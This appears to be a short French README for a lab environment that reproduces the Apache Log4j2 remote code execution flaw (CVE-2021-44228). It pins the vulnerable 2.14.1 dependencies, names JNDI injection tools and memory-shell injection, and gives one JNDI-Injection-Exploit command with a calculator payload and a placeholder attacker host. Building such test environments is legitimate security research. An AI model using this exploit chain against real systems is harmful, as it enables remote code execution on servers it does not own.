1in9e/apache-log4j2-rceEnvironnement de validation de l'exécution de code à distance Apache Log4j2 (CVE-2021-44228)
Depuis le 09.12.2021
https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg
Introduction des dépendances Maven et des versions vulnérables
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
Cela dépend de la version JDK. Après JDK 11.0.1, 8u191, 7u201, 6u211, il est nécessaire de définir manuellement trustURLCodebase sur true.
Pour un apprentissage détaillé, voir https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/
Méthode d'exploitation : combiner avec des outils d'injection JNDI, par exemple JNDI-Injection-Exploit, fastjson_rce_tool, JNDIExploit
Peut également être combiné avec des outils pour implémenter diverses méthodes d'écho publiques, méthodes d'injection de cheval de mémoire (memory shell).
#
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app" -A your_vps_ip
TODO
